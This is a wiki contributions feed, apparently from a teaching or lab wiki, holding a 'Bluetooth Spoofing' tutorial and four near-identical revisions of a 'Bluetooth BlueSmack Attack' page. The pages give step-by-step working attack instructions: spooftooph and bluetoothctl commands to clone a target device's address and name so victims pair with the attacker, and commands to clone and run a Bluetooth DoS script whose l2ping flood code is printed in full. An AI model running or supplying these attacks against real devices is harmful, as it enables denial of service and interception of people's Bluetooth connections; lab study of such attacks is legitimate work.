Elvis Wiki - User contributions [en]

Bluetooth Spoofing

2023-12-31T13:43:29Z

MKhreis: Created page with "== Summary == Bluetooth spoofing is a type of attack in which an attacker impersonates Bluetooth devices or their identifiers for malicious purposes. The goal of Bluetooth spoofing can vary, but it often involves attempting to deceive or gain unauthorized access to other Bluetooth-enabled devices or networks. == Requirements == * A Bluetooth-enabled Kali Linux computer to perform the attack ** With a CSR Bluetooth Adapter * Target Bluetooth device * A Bluetooth-enab..."

== Summary ==

Bluetooth spoofing is a type of attack in which an attacker impersonates Bluetooth devices or their identifiers for malicious purposes. The goal of Bluetooth spoofing can vary, but it often involves attempting to deceive or gain unauthorized access to other Bluetooth-enabled devices or networks.

== Requirements ==

* A Bluetooth-enabled Kali Linux computer to perform the attack
** With a CSR Bluetooth Adapter
* Target Bluetooth device
* A Bluetooth-enabled device to monitor if the attack worked

It is important to use a USB Bluetooth adapter from the manufacturer Cambridge Silicon Radio (CSR). Many manufacturers’ chipsets are not supported by the Bluez tool (including Realtek and Broadcom). Bluez is needed to carry out the attack. An unsupported chipset leads to spooftooph’s address spoofing not working, making it impossible to spoof the address. In this case the terminal will only print the message ”Unsupported manufacturer”.

== Description ==

=== Step 1 - Activate your Bluetooth Interface ===

First, if using an external Bluetooth dongle, it is necessary to list the USB devices connected to the attacking computer. This can be done with the following command:
lsusb

Then, to look up information about the connected Bluetooth adapter, the command "hciconfig" can be used. This command shows us a few things, including
* That the connected adapter is a USB bus,
* That the adapter is of the type Primary (master),
* The address of the Bluetooth adapter.
hciconfig

To activate the adapter, enter:
sudo hciconfig hci0 up

This command is used to activate or bring up the Bluetooth HCI device with the identifier ”hci0” if it is down. Of course, the identifier can vary, so the one listed when using "hciconfig" should be used.

=== Step 2 - Gathering Information ===

"hcitool" is a command-line utility that is part of the BlueZ Bluetooth stack on Linux systems, which provides a way to manage Bluetooth devices and services directly from the command line.
For gathering information, the scan function can be used. It shows addresses and names of all available Bluetooth devices in proximity.
sudo hcitool scan

For more information, an inquiry can also be performed. This shows many things, including the device class of Bluetooth devices. At https://domoticx.com/bluetooth-class-of-device-lijst-cod/, for example, it is possible to look up the given device class to see what kind of device a given device is. This information can be used with Spooftooph to even mimic the device class of the target device. If you are only hacking your own devices, you of course have this information, but an attacker has to acquire that information first, unless the device name is very transparent.
sudo hcitool inq

=== Step 2 - Spoofing ===
Spooftooph is a tool already pre-installed on Kali. It is a tool designed for Bluetooth device spoofing on Linux systems. It allows users to manipulate Bluetooth device information, such as MAC addresses, device names, and device class.

To spoof the address of a device, the following steps need to be carried out:
* The following command assigns a new given address to hci0. When using a VM, the adapter used is disconnected after executing this command. It has to be manually reconnected. After doing so, continue with the next step.
sudo spooftooph -i hci0 -a [address of target device]

* Display the information about your adapter to check whether the address has been successfully changed:
sudo hciconfig

* Turn the adapter up again after disconnecting:
sudo hciconfig hci0 up

The next step is to make sure the device is discoverable and able to pair with other devices and to spoof the name:
* Open the interface to interacting with the Bluetooth stack:
bluetoothctl

* Turn on your Bluetooth adapter (can be skipped if done before):
power on

* Make the local Bluetooth device discoverable, meaning that it can be seen by other Bluetooth devices during the discovery process:
discoverable on

* Make the local Bluetooth device pairable, allowing it to accept pairing requests from other devices:
pairable on

* Set a new alias for the local Bluetooth controller. This is the step that changes the name of the device as displayed to other devices:
system-alias ’[New Device Name]’

The device used now imitates the chosen target device. If I now wanted to connect to the target device from a different device, I could inadvertently connect to the attacker’s device. The attacker now has several options on what to do with this connection.

== Used Hardware ==

For the execution of this attack,
* a Kali Linux VM,
* an Axxtra Bluetooth Dongle,
* a JBL GO Speaker, and
* an Android Smartphone were used.

== References ==

* https://www.youtube.com/watch?v=3yiT_WMlosg&t=1767s

[[Category:Documentation]]

Bluetooth BlueSmack Attack

2023-12-26T13:26:10Z

MKhreis: /* How it works */

== Summary ==

BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive.

== Requirements ==

* A Bluetooth-enabled Linux computer to perform the attack
* A susceptible Bluetooth device
* A Bluetooth-enabled device to monitor if the attack worked

For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.

== Description ==

=== Step 1 - Installing Prerequisites ===

Make sure Python is installed:

sudo apt update
sudo apt install python3

You must have "l2ping" and "hcitool" installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:
sudo apt install bluez

=== Step 2 - Activate your Bluetooth Interface ===

”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.
hciconfig -a

This command activates the Bluetooth interface:
sudo hciconfig hci0 up

=== Step 3 - The DOS attack ===

The attack script can be cloned using the command below.

sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git

To perform the attack, you have to go to the directory the script was saved to and execute the py file:

cd BLUETOOTH-DOS-ATTACK-SCRIPT/
python3 Bluetooth-DOS-Attack.py

When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.

The script will ask for three inputs:
* The victim device address
* The size of the packages sent
* The thread count

The first parameter can be taken from the scan the script automatically performs when executed.
The package size can be set in bytes, for this attacks a size of 600 was used.
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.

After entering all three parameters, the threads are set up and then the attack is performed.

You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.
If the attack worked as it should, you are not able to connect to the device anymore.

== How it works ==

The user is prompted for the target device ID or address:

target_id = input(’Target id or mac > ’)
try:
target_addr = array[int(target_id)]
except:
target_addr = target_id
if len(target_addr) < 1:
print(’[!] ERROR: Target addr is missing’)
exit(0)

The user is prompted for the package size that will be sent to the target:
try:
package_size = int(input(’Package size > ’))
except:
print(’[!] ERROR: Package size must be an integer’)
exit(0)

The user is prompted for the thread count:
try:
thread_count = int(input(’Thread count > ’))
except:
print(’[!] ERROR: Thread count must be an integer’)
exit(0)

The number of threads the user input defines is created:

#Create and start multiple threads for the DOS attack
for i in range(0, thread_count):
print(’[*] Built thread №’ + str(i + 1))
threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()

L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.

#Function for performing the DOS attack using l2ping
def DOS(target_addr, package_size):
os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)

== References ==

* https://www.youtube.com/watch?v=lXLrb1pfnrs&t=1s
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT

[[Category:Documentation]]

Bluetooth BlueSmack Attack

2023-12-26T13:21:27Z

MKhreis: /* Prerequisites */

== Summary ==

BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive.

== Requirements ==

* A Bluetooth-enabled Linux computer to perform the attack
* A susceptible Bluetooth device
* A Bluetooth-enabled device to monitor if the attack worked

For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.

== Description ==

=== Step 1 - Installing Prerequisites ===

Make sure Python is installed:

sudo apt update
sudo apt install python3

You must have "l2ping" and "hcitool" installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:
sudo apt install bluez

=== Step 2 - Activate your Bluetooth Interface ===

”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.
hciconfig -a

This command activates the Bluetooth interface:
sudo hciconfig hci0 up

=== Step 3 - The DOS attack ===

The attack script can be cloned using the command below.

sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git

To perform the attack, you have to go to the directory the script was saved to and execute the py file:

cd BLUETOOTH-DOS-ATTACK-SCRIPT/
python3 Bluetooth-DOS-Attack.py

When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.

The script will ask for three inputs:
* The victim device address
* The size of the packages sent
* The thread count

The first parameter can be taken from the scan the script automatically performs when executed.
The package size can be set in bytes, for this attacks a size of 600 was used.
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.

After entering all three parameters, the threads are set up and then the attack is performed.

You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.
If the attack worked as it should, you are not able to connect to the device anymore.

== How it works ==

The user is prompted for the target device ID or address:

target_id = input(’Target id or mac > ’)
try:
target_addr = array[int(target_id)]
except:
target_addr = target_id
if len(target_addr) < 1:
print(’[!] ERROR: Target addr is missing’)
exit(0)

The user is prompted for the package size that will be sent to the target:
try:
package_size = int(input(’Package size > ’))
except:
print(’[!] ERROR: Package size must be an integer’)
exit(0)

The user is prompted for the thread count:
try:
thread_count = int(input(’Thread count > ’))
except:
print(’[!] ERROR: Thread count must be an integer’)
exit(0)

The number of threads the user input defines is created:

# Create and start multiple threads for the DOS attack
for i in range(0, thread_count):
print(’[*] Built thread №’ + str(i + 1))
threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()

L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.

#Function for performing the DOS attack using l2ping
def DOS(target_addr, package_size):
os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)

== References ==

* https://www.youtube.com/watch?v=lXLrb1pfnrs&t=1s
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT

[[Category:Documentation]]

Bluetooth BlueSmack Attack

2023-12-26T13:21:02Z

MKhreis: /* Requirements */

== Summary ==

BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive.

== Prerequisites ==

* A Bluetooth-enabled Linux computer to perform the attack
* A susceptible Bluetooth device
* A Bluetooth-enabled device to monitor if the attack worked

For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.

== Description ==

=== Step 1 - Installing Prerequisites ===

Make sure Python is installed:

sudo apt update
sudo apt install python3

You must have "l2ping" and "hcitool" installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:
sudo apt install bluez

=== Step 2 - Activate your Bluetooth Interface ===

”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.
hciconfig -a

This command activates the Bluetooth interface:
sudo hciconfig hci0 up

=== Step 3 - The DOS attack ===

The attack script can be cloned using the command below.

sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git

To perform the attack, you have to go to the directory the script was saved to and execute the py file:

cd BLUETOOTH-DOS-ATTACK-SCRIPT/
python3 Bluetooth-DOS-Attack.py

When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.

The script will ask for three inputs:
* The victim device address
* The size of the packages sent
* The thread count

The first parameter can be taken from the scan the script automatically performs when executed.
The package size can be set in bytes, for this attacks a size of 600 was used.
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.

After entering all three parameters, the threads are set up and then the attack is performed.

You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.
If the attack worked as it should, you are not able to connect to the device anymore.

== How it works ==

The user is prompted for the target device ID or address:

target_id = input(’Target id or mac > ’)
try:
target_addr = array[int(target_id)]
except:
target_addr = target_id
if len(target_addr) < 1:
print(’[!] ERROR: Target addr is missing’)
exit(0)

The user is prompted for the package size that will be sent to the target:
try:
package_size = int(input(’Package size > ’))
except:
print(’[!] ERROR: Package size must be an integer’)
exit(0)

The user is prompted for the thread count:
try:
thread_count = int(input(’Thread count > ’))
except:
print(’[!] ERROR: Thread count must be an integer’)
exit(0)

The number of threads the user input defines is created:

# Create and start multiple threads for the DOS attack
for i in range(0, thread_count):
print(’[*] Built thread №’ + str(i + 1))
threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()

L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.

#Function for performing the DOS attack using l2ping
def DOS(target_addr, package_size):
os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)

== References ==

* https://www.youtube.com/watch?v=lXLrb1pfnrs&t=1s
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT

[[Category:Documentation]]

Bluetooth BlueSmack Attack

2023-12-26T13:20:39Z

MKhreis: Explains the BlueSmack attack and how to perform it.

== Summary ==

BlueSmack is a Bluetooth-based Denial-of-Service (DoS) attack, in which the victim device is flooded with a high volume of oversized or malformed echo packets with the intent of causing it to crash or become unresponsive.

== Requirements ==

* A Bluetooth-enabled Linux computer to perform the attack
* A susceptible Bluetooth device
* A Bluetooth-enabled device to monitor if the attack worked

For the execution of this attack, a Kali Linux VM, a JBL GO Speaker, and an Android Smartphone were used.

== Description ==

=== Step 1 - Installing Prerequisites ===

Make sure Python is installed:

sudo apt update
sudo apt install python3

You must have "l2ping" and "hcitool" installed. They are installed by default on Kali Linux. Both are part of the bluez package, so if you are not using Kali, run the following command:
sudo apt install bluez

=== Step 2 - Activate your Bluetooth Interface ===

”hciconfig -a” shows information about your Bluetooth interface. Here its address and identifier can be found. The identifier is needed for the second command, which will turn the interface up. This is probably either hci0 or hci1.
hciconfig -a

This command activates the Bluetooth interface:
sudo hciconfig hci0 up

=== Step 3 - The DOS attack ===

The attack script can be cloned using the command below.

sudo git clone https://github.com/jieggiI/BLUETOOTH-DOS-ATTACK-SCRIPT.git

To perform the attack, you have to go to the directory the script was saved to and execute the py file:

cd BLUETOOTH-DOS-ATTACK-SCRIPT/
python3 Bluetooth-DOS-Attack.py

When executed, the script will perform an hcitool scan to look for nearby devices and list their addresses. This is to make the next step easier.

The script will ask for three inputs:
* The victim device address
* The size of the packages sent
* The thread count

The first parameter can be taken from the scan the script automatically performs when executed.
The package size can be set in bytes, for this attacks a size of 600 was used.
The thread count decides how many threads are created to attack concurrently. For this attack, 100 were used.

After entering all three parameters, the threads are set up and then the attack is performed.

You can now use a device like a smartphone to check if the attack is working by trying to connect to the victim device.
If the attack worked as it should, you are not able to connect to the device anymore.

== How it works ==

The user is prompted for the target device ID or address:

target_id = input(’Target id or mac > ’)
try:
target_addr = array[int(target_id)]
except:
target_addr = target_id
if len(target_addr) < 1:
print(’[!] ERROR: Target addr is missing’)
exit(0)

The user is prompted for the package size that will be sent to the target:
try:
package_size = int(input(’Package size > ’))
except:
print(’[!] ERROR: Package size must be an integer’)
exit(0)

The user is prompted for the thread count:
try:
thread_count = int(input(’Thread count > ’))
except:
print(’[!] ERROR: Thread count must be an integer’)
exit(0)

The number of threads the user input defines is created:

# Create and start multiple threads for the DOS attack
for i in range(0, thread_count):
print(’[*] Built thread №’ + str(i + 1))
threading.Thread(target=DOS, args=[str(target_addr), str(package_size)]).start()

L2ping is used here for flooding the target with packets. The primary purpose of l2ping is to test the connection and latency between two Bluetooth devices. It sends Bluetooth packets to a device and measures the time it takes for the packets to travel to the remote device and back. In the script, the DOS function uses l2ping to perform a Bluetooth DOS attack. The -s option is used to set the size of the ping packets, and the target address is specified as one of the parameters.

#Function for performing the DOS attack using l2ping
def DOS(target_addr, package_size):
os.system(’l2ping -i hci0 -s ’ + str(package_size) + ’ -f ’ + target_addr)

== References ==

* https://www.youtube.com/watch?v=lXLrb1pfnrs&t=1s
* https://github.com/crypt0b0y/BLUETOOTH-DOS-ATTACK-SCRIPT

[[Category:Documentation]]